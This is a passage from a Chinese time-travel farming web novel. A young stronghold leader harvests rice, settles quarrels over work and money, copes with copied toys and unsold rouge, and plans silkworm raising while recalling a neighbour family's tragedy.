后头刚刚嘲讽的人也凑了上来,伸着脖子一同看向陆老二手中的荷包。
陆老二“嚯”得一声拉开个口子,塞得满满的荷包立马滚出来几个碎银子。
几人瞪大了眼睛,有些不敢置信。
荷包里沉甸甸的、白花花的银子用事实告诉他们,他们还真的赚不到这么多的银子!
陆二叔连声音都变调了:“这些银子哪来的?”
钱氏
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双手抱臂,睨了一眼:“还能哪来的?当然是我们赚的。”
陆二叔的脸色瞬间阴沉下来,眉头紧锁,剧烈起伏的胸膛,让他呼吸也愈发急促起来。
他将手里的荷包扔给旁边的人,直接冲过去就是抓住钱氏的头发:“说!你们打扮成这样到底是去干嘛了?是不是偷人去了?!”
陆二叔的爆发太过于突然,众人还没反应过来,就一个个率先上去拉架。
陆令嘉把受到惊吓的钱氏拉到身后护着,仰头对上怒目圆睁的二叔:
“二叔,有什么事冲着我来便是,二嫂今天卖胭脂的功劳最大,经不住吓。”
虽然钱氏之前偷窃的行为让她很是气恼,但是一码归一码,总不能人家辛辛苦苦在外卖东西,回来还要被人泼脏水。
这岂不是她这个“老板”无能?
钱氏在几个婶子的搀扶下哭了起来:“我当初真是瞎了眼嫁给你,这些天来,我起得比鸡早,睡得比狗晚,就为了多做点胭脂好换钱,哪知到头来,却换来你如此污蔑!”
“你平日里对着我发怕脾气也就罢了,现在当着大家伙的面你把话说清楚,不然我以后活着还有何什么意义,干脆死了算了!”
她说着就要挣脱众人的臂弯去撞墙。
陆二叔自知误会了钱氏,脸色讪讪,又落不下脸跟她道歉。
他踱步走到钱氏的面前,双手背在身后,有些僵硬。
最后嘴唇翕动,冷哼一声:“先回屋去吧。”
一场闹剧结束,陆令嘉即使是大当家,也不好对别人的家事指手画脚。
更何况当事人还是她的亲叔叔。
她只朝钱氏投去担忧的一眼。
陆二叔依旧是那副趾高气昂的模样,即使前面是自己冤枉了自己的媳妇,却连道歉都是高高在上的。
因为他料定了钱氏离不开他。
陆二叔往前走了段路,见到钱氏还没跟上来,又扭头朝后望了一眼,意有不满:“怎么还不跟上来?”
钱氏收了声,止住了眼泪。
她冲着众人颔首以示谢意,挣扎片刻,最后还是亦步亦趋地跟了上去。
其他几人便不同了。
他们手里还捧着这么多银子,一个个此时目露精光。
早知道这些个娘们都能随随便便做些胭脂卖这么多钱,他们累死累活算什么?
一直跟着陆二叔种田的吴老三率先开口:“大当家,依我看以后咱们寨子里的人就靠这卖油、卖胭脂的小买卖,那日子不得比种地舒坦多了?”
“还种啥地啊,直接把这玩意当种子,就能种出金山银山来。”
陆令嘉不置可否。
吴老三更加起劲:“大当家,不如就把这方子交给我们吧,这方子要是搁咱们手里,那可比她们那几个娘们儿有用多了!”
“咱们兄弟几个,手脚利索,保证这银子以后哗拉拉地往咱们兜里流。”
吴老三龇着口大黄牙,殷勤地凑在她的面前。
这都是些什么人?
陆令嘉扶额。
老陆同志当初把人留在山寨的时候难道是没做过背调吗?
14. 第 14 章
陆令嘉也没有理会吴老三这个无理的要求。
且不说他们几个男人,手脚没有几个婶子没细心,就他们这幅形象出去卖胭脂,又有几个娘子愿意买单?
以前寨子里生活困难,也没见谁主动站出来说要替大家寻些粮食。
现在看着她手里有赚钱的方子,一个个都眼热地想分一杯羹。
陆令嘉懒得理会。
她让张婶把银子收好,就去找陆五叔和陆六叔记入在册。
不管怎么样,财务账还是要做好的。
张婶晚上做了一大桌子菜,她最近跟着陆令嘉学会了炒菜,虽然还不是很适应,但是接触锅灶时间久了,还是很快上手了。
一顿饭不少人吃得是心不在焉。
二叔和钱氏回屋后有没有发生什么不知道,但是吃晚饭的时候,倒是看着他们两个又神情自若,恢复了往日的相处模样。
仿佛刚刚那个小插曲根本没有发生似的。
也难怪古时候的女人受了委屈都要忍气吞声,就连钱氏这么泼辣的女子都不敢反抗。
陆令嘉盯着他们看了一会儿,就垂眸吃着自己碗里的饭菜。
这个时代的女子生存不易,就当寨子里来说,好些个还都是逃荒时没了丈夫的。
她们更加小心谨慎地在寨子里做着活,任劳任怨,只为求一口吃的。
可就是这样,还有好些人觉得她们是拖累。
陆令嘉想要改变些什么,可现在这个光景她也实在是无能为力。
直到扒拉完碗里最后一粒米,她才回了自己的屋子。
微弱的烛光摇曳着,崔氏也已经用完饭躺在床上了。
最近这段时间,她吃饱了,气色也好了很多。
她本来早就耐不住性子想要跟着大家一起做活,只不过陆令嘉一直不允。
见她回来,崔氏强撑着身子坐了起来:“陶陶回来了。”
昏黄的灯光下,拉出了两道长长的影子。
陆令嘉坐在床前,想起今天陆二叔和钱氏那一糟理不清的账,还有寨子里不坏好意思的吴老三等人,突然很想扑到崔氏的怀里大哭一场。
来到这边一个多月,从最初的恍惚、委屈,到扛起身上的责任每天忙忙碌碌,她不知道该可以跟谁诉苦。
崔氏仿佛读懂了她心里想的,顺着她发丝抚摸,一边摸一边温柔地诉说着以前的故事:
“小时候你就没个定性,从小上蹿下跳,三天不打就上房揭瓦。”
陆令嘉问:“所以娘亲才给我小名取陶陶,是淘气的意思吗?”
崔氏的手还在抚摸着她,笑道:“陶陶,是其乐陶陶的意思。爹和娘希望我们陶陶,一辈子都能开开心心,快乐就好。”
陆令嘉愣了愣,将脸慢慢靠在了她的怀中。
“你哥哥是个扶不起的,娘也不指望他了,但是娘也不希望你有太大的压力,人活一辈子,什么都是有定数的。”
“娘看得出你这几日不是很开心,可是娘没本事,身子骨又不好,帮不到你。”
“但是娘希望,我们陶陶,只要这一辈子都能快快乐乐地活着,就好了。”
崔氏的语气十分温柔,又带着点小心翼翼。
女儿长大了,这么一大寨子人的生活压力全压在了她身上。
她也会累。
可是她一直都没有喊过一声苦。
崔氏也有些心疼。
陆令嘉不经意间将眼角的那滴泪痕悄悄拂去,冲着崔氏笑道:“娘,你放心吧!我一定会好好的,以后还要赚更多的钱给你盖青砖瓦房呢!”
在现代,陆令嘉的父母去世得早,她从小跟着姥姥一起生活。
她感觉崔氏就和她姥姥一样,是一个慈祥的长辈,不管她做了什么,她们总是会包容着她。
她本以为在这里可以一直没心没肺地活下去,等将身上的担子彻底解开,就可以开启新的生活。
但是现在,她也有了需要牵挂的人了。
-
第二天刚过寅时,寨子里便开始炊烟袅袅,冒着星火,时不时还发出一些窸窣地响动。
陆令嘉看着外面还是漆黑的天空,揉搓着一双睡眼惺忪的眼睛纳闷。
这是打了鸡血吗?公鸡都没打鸣呢吧!
张婶她们几人走进陆令嘉的屋子里,压低了声音:“大当家,我们准备今日早些下山去把剩下的胭脂卖了,好早日再赶制一批出来。”
昨日,她们被寨子中的人诋毁,何况有人竟明目张胆地就想抢她们的这个活计,更不想浪费一点时间,准备争分夺秒地多赚钱。
陆令嘉打着哈欠:“张婶你们自己去吧,我便不去了。”
她们几人干劲十足,道了声“好”,便斗志满满地下山了,言行中也没有了第一次那般拘束。
陆令嘉一个回笼觉睡到了卯时三刻才起来。
她没有陪着张婶她们进城,一是因为胭脂毕竟是属于奢侈品行列了,没有那么多潜在的消费群体,她去也无济于事。
第二个是因为她今日准备去后山收稻谷了,这对于她来说才是头等大事!
一想到满山都是金灿灿的稻穗,她心里就激动。
收谷子是个体力活,寨子里的女眷今日又恰好下山去卖胭脂了,她就往怀里多揣了两个馒头,带上镰刀去叫寨子里其他人。
陆二叔昨天因着钱氏那一出自觉有亏,早早就收拾好东西没有多话。
而吴老三因着昨天要方子不成,故意装出一副懒散的模样,还拾掇了两人跟着他一起拖拖拉拉,故意耽误着时间。
陆令嘉也不惯着。
她冲着那几人轻轻一瞥,眼神中带着警告:“今日若是稻子没收完,谁也不准吃晚饭!大家相互监督,谁胆敢偷懒,就饿他个三天三夜!”
她说完,吴老三就跟蔫了似得,像鹌鹑一样窝着头不敢出声,眼睛却四处瞟着。
人群中有几个年轻人倒是憨厚地应道:“放心吧大当家,就这么几十亩地,保准一天就能收完了!”
后山。
翠绿的树木轻摇青袖,与金黄的稻海交相辉映。
广袤的稻田里,成片的稻穗随风摇曳,泛起波澜,稻谷的清香一阵一阵袭来,久久未能散去。
陆令嘉的手触碰到稻穗时才有了这么一丝真实感。
真是久违的感觉。
她弯腰俯身,割下一束束沉甸甸的稻穗,这才安下心来。
陆令嘉的手脚麻利,镰刀挥动地飞快,割完一把后就打个结捆在一起,扔在一边,又不知疲倦地去割下一处。
寨子里几个男人看到她如此卖力,就算存了耍滑偷懒的心,此时也有些不好意思了。
总不能说出去,不仅打架打不过一个小姑娘,连割稻谷也不如吧?
日头渐渐升起,照着这片金
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灿灿的土地更加耀眼了。
这里没有收割机,全靠着手工,手心不一会儿就磨出了水泡。
汗水沿着脸颊滑落,滴在泥土里,也无人顾暇。
陆二叔头一遭割到这么多稻谷,还奇怪呢。
以往他们割的稻穗都是小小的一簇,很多还没长开,怎么这会儿长势这么好?
就因为小侄女前些日子带着他们来除除杂草?
不能够吧?
他倒不偷懒,镰刀簌簌地就挥着。
许是前两天刚下过一场大雨,地里还有些泥泞,他们踩在绵软的泥上,要使好大的劲才能把脚拔上来。
但等到了晌午的时候,他们割了大概一半都不到。
吴老三嚷嚷着:“饿死了,不割了!就算是驴子也没有这样干的!”
陆令嘉刚好把手里的一把稻谷捆好,看着大咧咧坐下的吴老三说道:“可以,但是晚上寨子里的饭菜你不准吃。”
她淡漠地扫了一眼,讥笑道:“这是先前定好的规矩。”
“我不服!凭什么石头他们几个人轻轻松松地在那熬油,咱们这几个要在这累得跟狗似的种地割稻谷!你看我们割得手都起泡了!”
他梗着个脖子,开始耍赖,“有本事就换一换!大当家的可不兴这么偏心的!”
陆二叔没吭声,瞧了眼陆令嘉,手里的动作却是没停。
陆三叔走过来劝慰道:“吴老三,大当家的心里有根杆秤,谁出力多谁吃肉,你要真觉得憋屈也得等今天收完稻谷,再让大当家给咱们调换。”
他拍了拍对方的肩膀,笑道:“你说是吗?”
这一番话可是让陆令嘉骑虎难下。
本来因着不少人有意见,她确实是准备让石头几个人轮换一下岗位的。
可她却不喜欢被人这般威胁。
况且——
以后寨子里随便一个阿猫阿狗有什么意见都来撂挑子不干这么一招,她这个大当家还有什么威严?
陆令嘉冷声:“不想干就滚出去。以后寨子里其他人赚的每一粒米、每一块肉都不准吃。”
“没道理你有手有脚,却白吃白喝其他人辛苦赚来的东西!”
她放下镰刀,冲着众人说道:“大家伙休息一会儿,吃些东西补充一下体力,不想干的人现在就可以跟吴老三一起滚了。”
话音落下,田地里瞬间鸦雀无声。
陆令嘉自从当了寨子里的大当家后,还没有动过怒。
这是第一次。
她语气不算得上凶狠,但是陡然转冷的脸上,平白让人感到一丝凉意。
在场的人只觉得心头一颤。
明明还没入秋,身上怎么感觉有一股寒风吹来。
几人面面相觑,就连吴老三都阴沉着脸不敢再说话。
陆令嘉从怀里将早上揣着的白面馒头掏出来自顾自吃了起来,三两口吃完又开始继续收割稻谷。
其他人也赶紧囫囵将口中的食物咽下,继续挥动着手中的镰刀。
吴老三也没有离开,埋着头,发泄似地割着稻子。
现在寨子里顿顿都有肉,他真的离开了上哪儿找活干?
能不能吃饱饭都另说。
这会儿大家齐心协力了,马上就割完了一半的地,陆令嘉抬头用手背抹去滴落在眼睫的汗水。
看见远处郁郁葱葱的树林中出现了一道熟悉的人影。
15. 第 15 章
待人影走近了,她站起来,有一丝微不可闻的叹息:“娘亲,你怎么来了?”
眼前,崔氏正挎着一个大竹篮子缓缓走了过来。
“我听说你们要来割稻谷,怕你们饿着。”
许是走了一段路累着了,她的脸色有些苍白,豆大的汗珠顺着她的脸颊往脖颈流着。
“快过来先吃些东西垫垫肚子。”
陆令嘉叹息:“我吃过了,大家也都带了干粮的。”
“那些东西哪能吃饱的,都来,都来。”
崔氏张罗着大家伙过来吃饭,众人眼观鼻鼻观心,瞧陆令嘉没有反对,都长吁一口,放下手中的家伙事走了过来。
崔氏将篮子里的米饭还有几盘菜肴拿出,还有些不好意思:“我手艺不好,你们将就着吃。”
“不会,谢谢嫂子!”
“劳嫂子跑一趟了——”
“嫂子你真好!我正好肚子饿了!”
......
几个人接过碗筷,都真心实意地感谢起崔氏来了。
要收一天的稻谷,就靠着那几块干粮,确实有些不够顶饿。
陆令嘉也只能放下镰刀走了过来,她低头一看,竹篮子里装着一大盆米饭,还有一盆炖肉和两个清蒸时蔬。
这里的人都不怎么会做菜,大部份还是以蒸煮为主。
崔氏在床上躺了许久,日日的饭菜都是张婶送过去的。
而张婶跟着陆令嘉学了一段时间炒菜,便基本上都开始用炒来代替蒸煮,味道确实比之前有了很大提升。
崔氏尝过张婶做的饭菜后,自知自己做的味道不够好,但是也总归让他们几个人饿肚子要强吧!
陆令嘉端着碗筷,却尝出了别样的美味。
她昨天刚刚跟崔氏展现出柔软的一面,崔氏今天便强撑着身子走这么多里路给她来送饭,她的心里暖洋洋的。
况且她没有觉得崔氏做的菜不好吃。
崔氏将肉炖得极其软糯,入口即化,就着米饭吃起来也是特别的香。
陆令嘉大口大口地吞下米饭,腮帮子都跟着鼓了起来,崔氏一边拍着她的脊背一边笑道:“慢点吃,不着急,还有好些呢。”
她赶忙咽下,边说道:“趁着现在日头好,抓紧吃完好继续干活,万一下起雨来,可就平添许多麻烦了。”
崔氏也不懂庄稼地里的活,不过自家女儿这么说了,她还是心疼地递了个水囊过去,让她喝两口水缓缓,又拿出一条帕子,替她拭去额间的汗水。
微风轻拂,带着稻子的清香,驱散了正午的炎热,也抚平了人心里的躁意。
崔氏的这一顿饭,也正好给了吴老三等人一个台阶下。
吴老三将唇角的饭粒舔了回去,忐忑地冲着陆令嘉微微作揖:
“大当家,刚刚多有得罪,您大人不记小人过,就把我方才说的话当个屁放了吧。”
因着崔氏在场,陆令嘉的脸色也缓和了一些,只点点头表示知道了。
旋即,她率先将吃完的空碗放回了原处,伸了伸手脚舒展腰身。
“娘亲,我先继续去割稻谷了。还有好一半的地没割完呢!”
崔氏冲她摆摆手,让她不用管自己。
陆令嘉见状便安心地继续去干活了。
她一个转头,望着崔氏枯瘦的身子,坐在那儿仿佛摇摇欲坠。
陆令嘉定了定神。
等她再攒攒积分,一定要把人参给种出来,给崔氏补身子!
陆二叔今日是出奇的安静,他扎完一捆稻子后,终于忍不住走到了陆令嘉的面前问道:
“陶陶,我看这一亩地大概都得有百八十斤了吧?”
以往一亩地有一百斤都已经算是产量高了,这都翻倍了吧?
他本来还以为稻穗长得好只是巧合,可刚刚割了这么多,怎么还会不明白?
他小侄女的本事真有这么大?
陆令嘉颔首,喘了口气,直起身子道:“总归肯定是超过一百五十斤了。”
她丝毫不吝于分享自己的种植心得,若不是她现在只识得几个字,定是要将这些整理成册子流传下去。
如此,受益的就不仅仅只是黑风寨几个人,而是整个崖州城的百姓了。
陆二叔这回是真的有点惊讶了,他抖索着手指问道:“你早就料定能有这么多收成吗?”
陆令嘉点头,又摇头:“能算到这次产量不低,但具体有多少,我也不好打包票。”毕竟天气也占很大一部分原因,幸好她这次运气还算不错。
陆二叔这才知道前段时间误会了自己这个小侄女。
若是真的有确定的方法能提高稻谷产量,这可比任何制油的方子要好!
粮食,才是实打实的能吃饱饭的东西!
他有些赧然,又碍着长辈的身份落不下脸,摇摇头,朝着手中吐了一口唾沫,继续往另一块地去割稻谷了。
陆令嘉望着他的身影若有所思。
二叔应该是想到了什么,所以刚刚态度缓和了不少。
不过她也从来不在意这些。
他们若能信服她固然是好的,她也能省下不少力气。
崔氏收齐了碗筷看着陆令嘉的方向望去,只见众人都以她为中心,跟着卖力地割着稻谷,欣慰地笑了,她揉揉湿润的眼睛,又提着一篮子的空碗往回走了。
-
吃饱了饭,总算没有了偷懒的理由,再加上陆令嘉先头放狠话的场景还历历在目,众人是铆足了劲去割稻子,生怕太落后被大当家指责是在偷懒。
陆三叔顺着边角割着,到了陆老二的身边,问道:“二哥,你今日怎么一声不吭的,可是身体不适?”
“没有。”陆二叔黑沉着脸。
陆三叔:“再忍忍,太阳毒辣,谁叫咱们几个人老了,没本事,这小侄女看不上咱们啊!”
陆二叔停下了手中的镰刀,仰起脖子看着陆老三。
陆老三的脸上一直都是挂着一副温柔的笑脸,只不过此刻额间蹙起了眉头。
陆二叔一副看傻子的模样看着他,冷哼了一声,又垂下头继续干活了。
“二哥,有气不要憋在心里,要发泄出来。”他还试图宽慰。
“你有完没完,没看到陶陶都在最前面带头干活吗?你作为人家的叔叔,还要拖人家后腿!还不赶紧干活,天黑之前还想不想回家了!?”
陆
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二叔一顿吼,把陆三叔吼得一愣一愣的,当场就怔在了原地。
这陆老二今天是吃了火药了?
他还不是看着对方一脸沉闷,这才想着来宽慰他几句,结果还扯上他了。
呸!真是吃力不讨好!
他趁着没人的地方啐了一口,扭头走向另一边割稻谷去了。
天空渐渐染上一层墨色,星星悄然而至,照亮着这片土地。
十亩地里的山栏稻差不多都收割完了,陆令嘉向后一仰,躺在了稻草垛上,如愿以偿地听到了久违的机械声——
【恭喜宿主成功收割山栏稻,获得积分五十分。】
【解锁新种子——玉米。】
陆令嘉双手交叉,缓解着一天高强度的体力劳动带来的酸痛,不由暗自腹诽:“怎么收割稻子也才五十分!系统你是不是出Bug了!?”
当初只是除除杂草,顺带跟大家科普一下就有五十分。
【哼!系统从不会出错,请宿主不要随意质疑系统!】
陆令嘉:“......”
好嘛,还是个傲娇的系统。
她抬头望向天空,假装在看星星,实则在研究系统。
这次送的玉米种子可是好东西,产量高、饱腹,有了这个东西大家最起码以后不用担心会饿着肚子了!
最主要的是刚好可以种在现在这片土地上。
崖州雨量充沛,光热充足,正好是非常适合水稻——玉米轮作种植的方式。
一年旱稻一年玉米,也可以更有效地提高土地资源利用效率。
真是及时雨!
她想着系统的性格,得顺毛捋捋,不由夸赞道:“系统你可真棒!你看你每次都安排地妥妥当当,还会根据土地和气候来解锁对应的种子和我需要的材料,你真是我见过全世界最棒最棒的系统!”
【也...也没有这么厉害了!】
陆令嘉脑内的小人双手捂脸开始欢快地跳起了舞。
她微勾唇角,要不说这系统还是个小孩子呢,一下子就被她把话套出来了。
系统商城里的物品,都是根据她现下最需要的进行慢慢解锁。
比如说寨子里太穷,饥一顿饱一顿的,就出现了各类的配方供她可以借此买卖先维持基本生存。
而刚刚收割完山栏稻,就出现了玉米种子,提醒她接下来这块地可以种植玉米。
她好像摸索出了一个规律。
那后面还会源源不断地出现她需要的东西!
想到这个,陆令嘉一个鲤鱼打挺起身,扛起几捆稻子就要走。
等她看到所有收好的稻谷堆成了一个小山丘,这才犯了难。
应该提前准备一个小推车才是!
回去拿吧?这么多里路又该谁去呢?
好在,还没等她开口,有个叫郑大力的小伙子就主动站了出来:
“稻谷实在太多了,我们几个人估计一时半会很难把稻子扛回去,不如我先回去将寨子里的板车推来吧?”
陆二叔也赞同:“再叫上高老二,我也跟你们一同去!”
三个人跳下稻草垛拍拍身上的飞溅起来的尘土,就往寨子里的方向走去。
16. 第 16 章
走过蓊郁的丛林,寨里的几间茅舍掩映其中。
陆令嘉叹息。
这要是来个台风天,这些茅草屋分分钟就得随风而去,化为乌有。
一行人推着几个板车,终于把这些稻谷都完整的运回来了。
还顾不上吃饭,陆二叔就想先把谷子都打下来,称一称重量。
陆令嘉却拦下了他:“二叔先不急,累了一天了,大家伙先吃饭吧!”
张婶他们已经回来了,晚上的饭菜不多,只有一锅炖肉加上几个清炒时蔬,饶是如此,辛劳一天的众人也吃得格外得香。
张婶却吃得有些心不在焉的。
陆令嘉看在眼里,也没当众问她,只默默地扒拉着碗里的米饭。
她今天确实也累着了。
“大当家,收完了稻谷,我们明儿要干嘛?”有人问道。
陆令嘉沉吟片刻,道:“明天若是天气好,先将这些稻谷晒一晒。山上那块地再拿些秸秆盖在上面,可以保证土壤能蓄养肥力。
再等几天我们就一起把地重新翻一下,准备种另一个作物。”
吴老三又适时提起:“大当家,已经一个多月了,是不是......”
他话还没说完,又咧着那口大黄牙冲着陆令嘉笑着,陆令嘉一口米饭险先卡在喉咙里咽不下去。
她急忙拿起旁边的水灌了一口,将饭吞下。
思考片刻应道:“可以,既然你如此想换岗位,明日便由大家投票来决定吧,公平公正。”
若是她一直靠武力镇压,以后寨子里可有得闹腾。
吴老三得到了回答,往碗里又夹了好几块肉,就着饭大口吃着,时不时伸出手来将嘴上的油光抹去。
他虽笑着却又有新的不满:“今天的肉怎么这么少啊!张婶你总不会采买的时候自己贪墨了油水吧?”
张婶急道:“我没有!”
吴老三:“以后桌上多备些肉,现在寨子里又不是没钱,还这么抠抠搜搜的干什么?”
“你们这些妇道人家,就是小家子气。”
张婶没有再应话,红了眼眶将碗里的饭菜扒到嘴边强迫自己咽了下去。
直至锅里最后一块肉被夹走,大家也差不多吃饱了。
寨门口的日晷转着圈,已是亥时一刻了。
今夜似乎格外的漫长。
众人都陆陆续续地回了自己的屋里,陆令嘉留了下来帮着一起收拾碗筷。
她走到张婶面前,看到对方的眼尾通红,心中的猜测更加确定了。
她问道:“今日的生意不好?”
张婶点点头,却又不知从何开口,双手握拳攥得紧紧地,最后强咬着舌根说道:“是我对不住大当家。”
陆令嘉:“这有什么!做生意总有亏有赚,我们不仅没有亏本而且还赚了不少的,这已经很好了。”
“可是...可是我们本来还想再赶一批出来的,现下还剩下这么多,这可怎么办才好!”
陆令嘉看她真的一脸愁眉苦脸的模样,心想着若是没有什么解决办法,恐怕寨子里这几个人都要跟着张婶一起彻夜不眠了。
只一次没卖出去胭脂,对她们而言打击怎么就会这么大?
“这样吧,这些胭脂呢我想个办法找地方寄卖,你们接下来可以做些别的事情。
这崖州城大部分人都还吃不饱穿不暖的,能买得起胭脂的也只是小部分的人,这个生意本来注定就不会长久的。”
陆令嘉好说歹说,对着张婶分析完,可张婶还是面布愁云,时不时发出呜咽的声音。
她以前也没干过心里疏导这工作呀!
无证上岗,她只能硬着头皮继续宽慰:“这些都是小事,真的。”
她说:“你看这些胭脂先前能卖这么多银子,谁能否认你们的功劳?”
张婶拿手抹了抹眼眶的泪水,将心中的不安吞下一部分,哽咽道:“大当家,是我没用,拖累你们了。”
陆令嘉扶额。
她长叹一声,感觉很难说服这些习惯往自己身上揽责任的人。
明明没有任何过错,却好像天塌了都是她们拿着竿子戳破似的。
说白了,往好听点说,她们是责任心强;但往难听了说,这就叫“拎不清”。
陆令嘉不想再劝,正准备回去,看到四叔风尘仆仆地赶了过来。
四叔今天晚上怎么没一起用饭,他这是去哪儿了?
□□叔急匆匆地跑到她的面前,连水都来不及喝一口,喘着大气说道:“陶陶,现在山下好些个人仿制我们的‘玩具车’和鲁班锁!”
“什么!?”张婶听到后手里的抹布都掉在了地上,跟着迈步上前。
她还没从上午胭脂滞销的状态回过神来,又遭受了接连第二个打击。
陆令嘉却丝毫不感到意外。
她给四叔倒了一碗茶,又搬来了凳子让他坐下。
“不用急,这事我早就料到了。”
四叔哪能不急,他今日在山下看到有人在卖这些东西的时候,急得嘴角都长了个燎泡。
“那些人仿的逼真,几乎一模一样!价格也卖得比我们便宜,玩具车八十文,鲁班锁只要四十文!”
陆令嘉:“这些东西一旦卖出去流通到市面上后,肯定就会有一些老手艺人研究,况且这些东西又没有什么复杂的工艺,所以有仿制品很正常。”
张婶先急上了:“大当家,那现在可怎么办?”胭脂卖不出去,玩具要是再没人买,难不成又要坐吃山空?
日子才好起来没多久!
陆令嘉不急不躁:“我这还有好些玩具的样式,日后只要四叔做成的木工刻上‘陆’字,便算是我们的品牌。”
“不管别人怎么模仿,大家永远都会记得,‘陆’字出品的东西永远是最新最好的!”
四叔:“可是...这样行的通吗?”
陆令嘉看着双手不断揉搓,一直踱步的张婶,眼睛突然亮了:
“我突然有了个主意!”
她的主意还是因为张婶。
既然她们几个人因为卖不出胭脂开始焦虑,那就换一件能做长久的事情便好了。
陆令嘉想让她们开始养蚕。
崖州的气候温和,冬无严寒,且桑树终年生长不会休眠,一年四季都适合养蚕。
每半月养一造蚕,一年就能养二十四造。
蚕丝可以做蚕丝扇,织蚕衣,制蚕丝被等等……
特别是织
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成绫罗绸缎能值不少钱!
再说了,崖州这里多码头海峡,她还想着日后要组建一只自己的商船,走一走那“丝绸之路”。
眼下,让张婶她们养蚕却还有另一个用意。
她想让四叔做一个繅车出来。
有了繅车,寨子里的女人们就可以自产自销,甚至可以将缫车卖给崖州城其他女性。
兴许缫车的出现,可以帮助到崖州每个像张婶一样的女性。
她的眼里燃起了熊熊的烈火。
总要在这个世上留下点什么,证明她来过。
陆令嘉跟四叔一合计,对方就鼎力支持,但是他说出口的话像一盆冷水又浇灭了陆令嘉的热情。
“不过现在县城里已经有不少木工铺子在卖缫车了,只不过需要两人来同时操作,价格也高。”
陆令嘉:“啊?”
是她先入为先了,总以为古代什么东西都没有,自以为是个救世主可以利用现代的知识救人于水火之中。
古人的智慧可一点不容小觑。
四叔:“若是想做出独一无二又简便的缫车需要多费点心思,我明儿再去木工铺子瞧瞧,看看能不能有一些启发。”
陆令嘉:“那我跟您一块去!”
“好!”他点点头,看着陆令嘉充满干劲,话到嘴边还是问出了口:“听说今天你们收的稻谷翻倍了?”
陆令嘉笑了:“产量是有增加不少,但是没有寨子里那些人说得这么夸张。”
四叔平时话就不多,他只应了一声,背着手就要离开了。
等他走后,张婶才走上前来问道:“大当家,您刚刚说让我们养蚕是什么意思?”
陆令嘉解释:“养出来的蚕丝可以做绫罗绸缎,可以做成厚实的蚕丝被,这些都可以卖钱。”
“那养蚕难不难?我们能行吗?”
“放心吧,养蚕这事我有经验。”
陆令嘉想起自己以前的事情来。
她小时候在姥姥家,隔壁邻居的就是养蚕的。
夏天蚊虫多,就算忍着被蚊虫叮咬也不敢点蚊香,去别人家串门后还要先回家洗个澡才敢进蚕房。
突然之间,大片大片的蚕不知原因死去,他们心慌啊!
到最后都魔怔到把桑叶一片一片地擦干了再喂给蚕吃,依然挡不住蚕连续死去。
承包的桑田回不了本,一家人也断了经济来源,大笔的负债硬生生地将他们被逼得没有了活路,一口气喝了农药自杀。
陆令嘉放学回来路过时看到怔在原地。
周围人群吵吵闹闹,哭天喊地的尖叫声不绝于耳。
可她好像什么也听不到。
姥姥一直捂着她的眼睛不让她看,但那会她脑子不知道在想着什么,还是茫然地睁开了眼睛。
一家三口口吐白沫,青紫色的尸体冰冷地躺在地上。
一刹那间,阳光刺眼扎过双眼。恍然回神时,如迷雾破晓。
后来陆令嘉就开始认真读书了。
她想弄清楚为什么隔壁刘婶一家已经这么小心翼翼地养这些蚕了,但是它们为什么还是这么脆弱,一直死去。
再后来,她找到了答案,可是刘婶一家却再也回不来了。
17. 第 17 章
“大当家,大当家——”
张婶见陆令嘉突然愣神,轻轻地拉着她的衣袖摇晃了一下。
“哦——抱歉。”
她思绪回神,微微颔首致歉。
月凉如水,黑夜越发深沉了。
“张婶,明天一早我先跟四叔去县城里看看这儿的缫车是什么样子的,你也问问寨子里其他人以前有没有养蚕的经验,如果有的话更好。”
“谢谢大当家,这次我们一定不会办砸的!”
“早些歇息吧。”
陆令嘉想起了许多以前的事情,总有些心绪不宁,一股郁气堵在心口难以消散。
她绕着寨子外围的篱笆走了几圈,情绪才渐渐平稳下来。
从一开始的想当然说干就干,到今天张婶的挫败,她想了很多。
这里是古代,她可以尝试很多东西,开局时的家徒四壁、一无所有,到现在她觉得也有了一点可以试错的成本。
但是今天她意识到了。
这里的人,尤其是女人,她们却没有试错的机会。
只要一次失误,她们就会惴惴不安,内疚一整天。
她绝不能让小时候刘婶的惨案在这里再次发生。
黑风寨附近石岭群松,逶迤曲折,直上云霄。
头顶的山谷泉瀑飞泻,在寂静的夜晚发出哗哗巨响,敲打在岩石上,回荡在山谷间。
陆令嘉伴随着水流声,渐渐将头脑中混乱的思绪都理清,最后踏着夜色回了屋子。
崔氏将房门轻掩,她只轻轻一推便开了。
她没有回屋,崔氏就一直躺在床上辗转难眠,一听到木门轻微的声响,便轻声问道:“陶陶,是你吗?”
“娘亲,是我。”
“今天怎么这般晚才回来?”
“有些事情没想明白,便绕着寨子附近的篱笆走了几圈。”
陆令嘉以为是自己把崔氏吵醒,又放缓了脚步,蹑手蹑脚地爬到了自己的榻上。
月光透着纸糊的窗户透了进来,将她疲倦的脸映照出了半边。
陆令嘉打了个哈欠,嘴里含糊不清:“娘亲,快睡吧,明天我还要去赶早去县城一趟。”
“好。”崔氏听着她沉稳的呼吸,也渐渐阖上眼睛。
-
次日一早,陆令嘉本想直接去找四叔去县城,还没去厨房拿干粮垫垫肚子,就被吴老三等人拦住了。
他搓着手嘿嘿一笑:“大当家,您之前可是说好今儿个也让咱们兄弟们换一换手里的活。”
“现在兄弟们这心呐,可就跟猫挠似的,痒得紧呐!都等着您发话到底什么时候换呢!”
陆令嘉当然没忘记昨天说的话。
她只是不知道吴老三这些人这么心急。
这才过了一个晚上的时间,就这么火急火燎地来找她了。
陆令嘉倒不是想反悔,只是怕以后油和糖万一质量不过关,时间长了,醉仙楼的程掌柜不一定会卖她这个面子。
再加上他们卖油的生意也做了将近一个月。
就像玩具火车和鲁班锁一样,市面上迟早会出现仿制品。估计再过一段时间,崖州百姓都会去采椰子自己炼油了。
看着吴老三他们一脸兴致勃勃的模样,陆令嘉也歇了提醒的心思。
“石头——石头!”她冲着旁边一个屋子喊了几声。
石头正在给刚做好的糖块装盒呢。
前些时日他看到杂货铺子里装好的糖块卖价要高出一倍,回来便动了心思模仿一二,准备也试试“包装一番”卖个高价。
他听到大当家的声音立马将手擦干净,跑了过去,问道:
“大当家,您叫我?”
“吴老三他们说想跟你们几个换个活干干,你去问问你们组里其他人愿意吗?如果愿意就直接换,不愿意,就把大家伙都叫来一起投票。”
石头憨厚地笑着:“我没意见,干什么都一样!我去问问其他人!”
说完,他就一溜小跑地走了。
和吴老三他们换个活那算什么。
他巴不得跟他们换!
那可是能天天跟着大当家呆在一起的,能学到好多新东西呢!
没过多久,石头便跑回来了,额头上涔出了薄薄的一层汗珠。
他笑着应道:“大当家我问过了,他们都没意见,说去哪都一样!”
